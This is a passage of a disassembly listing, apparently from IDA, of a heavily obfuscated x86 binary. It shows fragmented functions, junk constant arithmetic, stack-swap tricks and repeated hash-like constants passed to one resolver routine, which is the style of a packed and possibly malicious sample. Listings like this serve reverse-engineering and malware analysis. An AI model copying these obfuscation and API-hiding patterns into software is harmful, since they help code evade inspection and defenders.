; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_42361F: ; CODE XREF: sub_426C09:loc_424891j jl loc_428DA6 jmp loc_425E6E ; END OF FUNCTION CHUNK FOR sub_426C09 ; =============== S U B R O U T I N E ======================================= sub_42362A proc near ; CODE XREF: hjohnhn9:00423A93j ; sub_426F5A-1324p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042911D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp-4+arg_0] ror eax, 12h mov ds:dword_428B18, eax jmp loc_42911D sub_42362A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42363F proc near ; CODE XREF: sub_42897Bj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00424860 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424B8A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424FB4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425C7D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004265C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FB8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FC7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427491 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004279BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004289FD SIZE 00000007 BYTES push ebp loc_423640: ; CODE XREF: hjohnhn9:loc_427480j mov ebp, esp push ecx jmp loc_4279BB sub_42363F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423648: ; CODE XREF: sub_423B05+43EBj js loc_427BFB test edx, ebp jmp loc_423C5B ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_423655 proc near ; CODE XREF: sub_424B30+Ap ; hjohnhn9:00424CC3j xchg ecx, [esp+0] pop ecx loc_423659: ; CODE XREF: sub_423B05:loc_423C5Bj mov esp, ebp pop ebp retn sub_423655 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_42365D: ; CODE XREF: sub_426F5A-30B0j jmp loc_425C33 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423662: ; CODE XREF: sub_424631:loc_427DB3j cmp dword ptr [ebp-10h], 1 jnz loc_428C75 jmp loc_428C5E ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42636C loc_423671: ; CODE XREF: sub_42636C+Bj xor ecx, 322A975Dh add ecx, 0BFC07BFDh xor ecx, 5EE2BF7Dh add ecx, 26B6512Fh mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42636C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42368D: ; CODE XREF: sub_424631-14A9j jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_423692: ; CODE XREF: sub_42851A-1D45j rol eax, 11h jmp loc_42471C ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42369A: ; CODE XREF: sub_4287BF:loc_423022j mov [ebp-8], eax push offset sub_4250FC jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_4287BF ; =============== S U B R O U T I N E ======================================= sub_4236A7 proc near ; DATA XREF: hjohnhn9:00428A0Ao ; FUNCTION CHUNK AT 00423087 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004232B4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004238EB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423BF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424BAE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424F57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D7B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042706D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429027 SIZE 0000000B BYTES push ebp pop edx xchg edx, [esp+0] mov ebp, esp push ecx push ebp mov eax, [ebp+8] mov ecx, [eax] jmp loc_423BF6 sub_4236A7 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4236BB: ; CODE XREF: sub_423BC3+1Fj jz loc_42782B sub eax, 4DABBFC6h pushf jmp loc_426A84 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- mov ds:dword_428AF0, eax cmp ds:dword_428AF0, 0 jnz loc_426FAD jmp loc_427FE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_4236E4: ; CODE XREF: sub_423D67:loc_423CC8j or edi, 4F1F9639h xor edi, 0A0E06186h xchg edi, [esp+0] push ebx push eax jmp loc_423201 ; END OF FUNCTION CHUNK FOR sub_423D67 ; --------------------------------------------------------------------------- dw 0E6C1h dd 6D830F15h, 0E8FFFFFAh, 47Ch, 2A108A0Fh, 0D2F70000h ; CODE XREF: sub_426D6A+17j ; hjohnhn9:00426D4Aj dd 5A486852h, 815A70AEh, 9A6ACACAh, 0E1EA813Ch, 810E56BBh dd 0A875E1C2h, 2C4FE9FDh, 0C870000h, 0C875924h, 0FDD6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_42373A: ; CODE XREF: sub_426749+1ACCj xor edx, edx call sub_427AEB loc_423741: ; CODE XREF: sub_426749+2709j mov eax, ds:dword_426E6C mov [ebp-4], eax push offset sub_426C5D jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_426749 ; =============== S U B R O U T I N E ======================================= sub_423753 proc near ; CODE XREF: sub_4260BD:loc_426D9Dp ; hjohnhn9:00428E2Dj ; FUNCTION CHUNK AT 00425CF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427229 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BAA SIZE 00000002 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-8], 0 jz loc_427951 jmp loc_425CF5 sub_423753 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_423767: ; CODE XREF: sub_4287BF+1Cj jmp loc_429061 ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_42376C: ; CODE XREF: sub_426CE6+1701j jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_426CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_423771: ; CODE XREF: sub_425BD2+666j ; sub_427C9B+D57j ror eax, 11h mov ds:dword_428B08, eax retn ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_42377B: ; CODE XREF: sub_426A78-1987j ; sub_427BCE:loc_427380j push offset sub_42442F jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_423785: ; CODE XREF: sub_4278DC+270j ror eax, 0Bh push ecx push 76B591BBh pop ecx or ecx, 536FC631h jmp loc_428571 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- loc_42379A: ; CODE XREF: hjohnhn9:loc_4237EFj mov edx, 0A22F8A70h call sub_427C53 mov ds:dword_425AE8, eax call sub_424877 mov edx, 0A2CD59D9h call sub_427C53 jmp loc_427C4D ; --------------------------------------------------------------------------- loc_4237BD: ; DATA XREF: sub_426354:loc_426E12o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax push offset sub_427A07 jmp locret_426EF8 ; --------------------------------------------------------------------------- sbb eax, 0F87F5BB0h jmp sub_427AC0 ; --------------------------------------------------------------------------- mov ebx, [ecx] jmp loc_426BF7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4237EA: ; CODE XREF: sub_42304F+4389j jmp loc_427102 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_4237EF: ; CODE XREF: hjohnhn9:0042351Aj jmp loc_42379A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237F4 proc near ; CODE XREF: sub_423B05+40FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004233E6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423963 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004243D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00424A46 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424C46 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042680E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426B24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427DD2 SIZE 00000014 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_426B24 sub_4237F4 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423801: ; CODE XREF: hjohnhn9:00428491j jmp loc_427775 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_423806: ; CODE XREF: sub_427032+10j jmp loc_424480 ; END OF FUNCTION CHUNK FOR sub_427032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_42380B: ; CODE XREF: sub_424A78+233Dj jmp loc_427637 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_423810: ; CODE XREF: sub_42841F-4708j jmp loc_427B02 ; END OF FUNCTION CHUNK FOR sub_42841F ; --------------------------------------------------------------------------- loc_423815: ; DATA XREF: sub_4278EC+5D2o call sub_425EA9 mov edx, 0E5254649h call sub_427C53 mov ds:dword_423944, eax jmp loc_426D87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42382E: ; CODE XREF: sub_4278EC:loc_427EABj cmp ds:dword_423944, 0 jmp loc_4279E8 ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_42383A: ; CODE XREF: sub_425CB3-17FAj mov ecx, edx xchg ecx, [esp+0] push ecx push 0ED5F6B35h pop ecx jmp loc_427B97 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42384C: ; CODE XREF: sub_42466E+Fj jmp loc_425091 ; END OF FUNCTION CHUNK FOR sub_42466E ; =============== S U B R O U T I N E ======================================= sub_423851 proc near ; DATA XREF: sub_428838+Fo jnz loc_4287D2 push offset sub_4287BF jmp nullsub_111 sub_423851 endp ; --------------------------------------------------------------------------- shr edx, 4 adc edi, 1359C0Ah jmp sub_428B28 ; --------------------------------------------------------------------------- js loc_426992 jmp sub_4275B2 ; =============== S U B R O U T I N E ======================================= sub_42387A proc near ; CODE XREF: hjohnhn9:00426F80j ; sub_427AC0+8F4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426685 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004270DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004271B3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] push ecx push 0B4C94AD3h pop ecx sub ecx, 0FA202DA4h and ecx, 24F87E95h jmp loc_4271B3 sub_42387A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428447 loc_423899: ; CODE XREF: sub_428447+12j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428447 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_42389B: ; CODE XREF: sub_4262C5:loc_42761Cj mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_424E63 mov eax, [ebp-8] loc_4238AA: ; CODE XREF: sub_427C9B:loc_426176j mov byte ptr [eax], 0 mov esp, ebp jmp loc_423F0B ; END OF FUNCTION CHUNK FOR sub_4262C5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4238B5: ; CODE XREF: sub_423B05+4104j jmp loc_423222 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4238BA: ; CODE XREF: sub_426354-2FFEj mov edi, [ecx] xor ebp, esi shr edx, 7 loc_4238C1: ; CODE XREF: hjohnhn9:loc_423542j adc esi, 528F26C2h jmp loc_427951 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_4238CC proc near ; CODE XREF: sub_424335:loc_425147p ; hjohnhn9:00426703j ; FUNCTION CHUNK AT 00425FFE SIZE 0000001B BYTES xchg edi, [esp+0] pop edi push eax push 9A99E2F0h pop eax add eax, 0DA55A7E8h sub eax, 0BC0F8EC2h rol eax, 15h jmp loc_425FFE sub_4238CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_4238EB: ; CODE XREF: sub_4236A7-60Dj add ebx, 8083061h add eax, ebx pop ebx mov edi, [eax] add eax, 4 jmp loc_4232B4 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_4238FE: ; CODE XREF: sub_424698:loc_424F4Dj or eax, eax jnz loc_428E1B jmp loc_424153 ; END OF FUNCTION CHUNK FOR sub_424698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_42390C: ; CODE XREF: sub_427AC0:loc_424251j push eax loc_42390D: ; CODE XREF: hjohnhn9:loc_425DDEj push 89045525h pop eax rol eax, 11h test eax, 2 jmp loc_423B3E ; END OF FUNCTION CHUNK FOR sub_427AC0 ; =============== S U B R O U T I N E ======================================= sub_423921 proc near ; DATA XREF: sub_4241E1+7o mov eax, [ebp-8] mov esp, ebp pop ebp retn sub_423921 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_423928: ; CODE XREF: sub_424698+15CDj jmp loc_425001 ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_42392D proc near ; CODE XREF: sub_4282F8-3B0Ep ; sub_427D9D:loc_424EE0p ... ; FUNCTION CHUNK AT 00424E36 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428AE8 SIZE 00000005 BYTES jns sub_424E4F push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_428AE8 sub_42392D endp ; --------------------------------------------------------------------------- dw 0F9BDh dword_423940 dd 0 ; DATA XREF: hjohnhn9:00423C4Ar ; sub_427A36-1792r ... dword_423944 dd 77E79F93h ; DATA XREF: sub_4235D8+4w ; hjohnhn9:00423824w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_423948: ; CODE XREF: sub_4278B9+18j jmp loc_42340D ; END OF FUNCTION CHUNK FOR sub_4278B9 ; --------------------------------------------------------------------------- db 2Fh, 1Ch, 0C1h dword_423950 dd 0 ; DATA XREF: sub_424161-1035r ; sub_425F93+4w ... dword_423954 dd 0 ; DATA XREF: sub_428788-5170r ; hjohnhn9:loc_423A05r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D38 loc_423958: ; CODE XREF: sub_424D38+3D7Ej jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_424D38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_42395D: ; CODE XREF: sub_428477:loc_4267ECj jge loc_424ACA ; END OF FUNCTION CHUNK FOR sub_428477 ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_423963: ; CODE XREF: sub_4237F4+3341j jmp loc_424A46 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- xchg ecx, ebx xor esi, 659A1899h mov [ecx], edx jmp loc_424AC9 ; --------------------------------------------------------------------------- loc_423977: ; CODE XREF: hjohnhn9:004269E1j jg loc_4235C4 adc esi, eax jmp loc_42632C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_423984: ; CODE XREF: sub_424928+3D17j ; sub_424928+3D28j or esi, 0FC4A9892h add esi, 1663DA1h xchg esi, [esp+0] jmp loc_428696 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- push offset sub_424B97 jmp loc_4290E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_4239A2: ; CODE XREF: sub_423E64+3471j pushf ror ecx, 1Eh loc_4239A6: ; CODE XREF: sub_423E64:loc_423CF0j push offset sub_427440 jmp locret_4232D0 ; END OF FUNCTION CHUNK FOR sub_423E64 ; --------------------------------------------------------------------------- loc_4239B0: ; CODE XREF: hjohnhn9:loc_423408j cmp eax, [ebp-14h] jb loc_426B3A mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_42300D jmp loc_426B3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4239D0: ; CODE XREF: sub_428477:loc_4252C8j mov [ebp+var_4], eax loc_4239D3: ; CODE XREF: sub_423E64+Cj ; sub_4260BD-12FCj ... dec ds:dword_4233C4 mov eax, [ebp+var_4] push offset loc_4281A2 jmp loc_424E8F ; END OF FUNCTION CHUNK FOR sub_428477 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4239E7: ; CODE XREF: hjohnhn9:00427685j jmp sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_4239EC: ; CODE XREF: sub_427994:loc_4261F1j sub eax, 505B6FF8h xor eax, 82A55006h add eax, ebp add eax, 0A9B1D40h jmp loc_42678E ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- loc_423A05: ; DATA XREF: sub_423425+4EB4o cmp ds:dword_423954, 0 jnz loc_42879B call nullsub_2 call sub_424877 mov edx, 0CF0182F6h call sub_427C53 jmp loc_42846D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423A2B: ; CODE XREF: sub_423B05-A2Aj jp loc_427BF3 loc_423A31: ; CODE XREF: sub_423B05:loc_4230CEj call sub_424877 mov edx, 3CC6743Ch call sub_4279ED jmp loc_428C49 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- js loc_423DAF jmp sub_423BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423A50: ; CODE XREF: sub_4260BD:loc_427431j push 538ACF62h pop ebx sub ebx, 4907E7DAh or ebx, 0B92D1335h xor ebx, 1E0EA8B3h add ebx, ebp add ebx, 5A5EA0EEh jmp loc_42498B ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_423A75 proc near ; CODE XREF: sub_427564+13B9j ; FUNCTION CHUNK AT 00426C69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271B8 SIZE 00000017 BYTES push ebx push 482FEEA0h or ebx, esi jmp loc_426C69 sub_423A75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423A82: ; CODE XREF: sub_42325E:loc_4276F7j jz loc_42520B jmp loc_426F50 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- js loc_424CD3 jmp sub_42362A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_423A98: ; CODE XREF: sub_427564:loc_428B22j sub edx, 9C16CC78h jns loc_428912 jz loc_423D06 jmp loc_427D81 ; END OF FUNCTION CHUNK FOR sub_427564 ; =============== S U B R O U T I N E ======================================= sub_423AAF proc near ; CODE XREF: sub_4265CD:loc_424449j ; sub_4265CD-857j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246BB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428027 SIZE 00000005 BYTES push ebp mov ebp, esi xchg ebp, [esp+4+var_4] push 0FC272739h pop esi sub esi, 945F967Eh or esi, 1A7F9951h sub esi, 0F7809293h jmp loc_4246BB sub_423AAF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_423AD2: ; CODE XREF: sub_424698+42A8j jz loc_428E07 add ebp, 40DAFCE5h or ebx, 44198AFDh loc_423AE4: ; CODE XREF: sub_427994:loc_427904j call sub_4245BA ; END OF FUNCTION CHUNK FOR sub_424698 ; START OF FUNCTION CHUNK FOR sub_425029 loc_423AE9: ; CODE XREF: sub_425029:loc_42737Bj add [ebp-8], eax call sub_42865B loc_423AF1: ; CODE XREF: hjohnhn9:0042664Aj test ebx, eax jmp loc_428823 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- push esi add esi, 61FD5CF9h jmp sub_428838 ; --------------------------------------------------------------------------- loc_423B04: ; CODE XREF: hjohnhn9:00425F8Ej pop ecx ; =============== S U B R O U T I N E ======================================= sub_423B05 proc near ; CODE XREF: sub_4270CF+583p ; FUNCTION CHUNK AT 004230CE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423222 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004233E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423505 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00423648 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004238B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A2B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00423C5B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424414 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00424B45 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250B4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425252 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425E64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A44 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427BF3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00427EE2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004285EB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042862B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428C49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D80 SIZE 00000023 BYTES xchg eax, [esp+0] pop eax mov esp, ebp pop ebp mov eax, ds:dword_428398 or eax, eax jnz loc_424414 jmp loc_424B45 sub_423B05 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423B1F: ; CODE XREF: sub_4262C5:loc_423F0Bj call sub_424E5D loc_423B24: ; CODE XREF: sub_424631:loc_428BE3j cdq rol eax, 11h jmp loc_428B61 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- or edi, 0E54D5516h jmp loc_42432F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423B39: ; CODE XREF: hjohnhn9:00424281j jmp locret_4232E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_423B3E: ; CODE XREF: sub_427AC0-41A4j jmp loc_424D04 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- push ebx mov ebx, edi ; START OF FUNCTION CHUNK FOR sub_42325E loc_423B46: ; CODE XREF: sub_42325E:loc_424E6Bj xchg ebx, [esp+0] mov edi, eax jmp loc_423DF6 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423B50: ; CODE XREF: sub_424161+43A4j push eax call sub_426708 push 724752F0h xchg ebp, [esp+0Ch+var_C] jmp loc_426655 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_423B63: ; DATA XREF: sub_423CCD:loc_427288o add dword ptr [ebp-8], 2 jmp loc_426996 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B6C proc near ; CODE XREF: sub_424A78+19Ep ; sub_427FCE+4p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426C2E SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_426C2E sub_423B6C endp ; --------------------------------------------------------------------------- push eax mov eax, ebx push offset sub_425C4B jmp loc_425D6A ; =============== S U B R O U T I N E ======================================= sub_423B84 proc near ; CODE XREF: sub_424161-1D5j xchg ecx, [esp+0] pop ecx add ebx, 82E94C6Ah mov [ebx], eax pop ebx retn sub_423B84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_423B92: ; CODE XREF: sub_428D0E-ECj jmp loc_4277C5 ; END OF FUNCTION CHUNK FOR sub_428D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278F6 loc_423B97: ; CODE XREF: sub_4278F6+9j jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_4278F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423B9C: ; CODE XREF: sub_426708-544j ; sub_424631+3B0Bj call sub_427166 loc_423BA1: ; CODE XREF: sub_423B05+175Ej mov [edx-10h], eax inc dword ptr [ebp-4] mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax jmp loc_426650 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_423BB8: ; CODE XREF: sub_42466E+571j jg loc_424033 jmp loc_424008 ; END OF FUNCTION CHUNK FOR sub_42466E ; =============== S U B R O U T I N E ======================================= sub_423BC3 proc near ; CODE XREF: hjohnhn9:00423A4Bj ; sub_427440+4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423388 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004236BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004241BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042465F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424C7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F6E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004260F9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426A84 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042713A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427825 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427A7E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428C84 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00428F9F SIZE 00000020 BYTES xchg ebx, [esp+0] pop ebx push 0CA17F4Ah pop edx rol edx, 15h and edx, 5FE7D04h xor edx, 107BF9A6h test edx, 10h jmp loc_4236BB sub_423BC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423369 loc_423BE7: ; CODE XREF: sub_423369+1Aj mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_423369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423BF1: ; CODE XREF: sub_4260BD+2F7Cj jmp loc_426EE5 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_423BF6: ; CODE XREF: sub_4236A7+Ej jmp loc_425D7B ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- loc_423BFB: ; DATA XREF: sub_423369+14o xor eax, eax jmp loc_424728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK 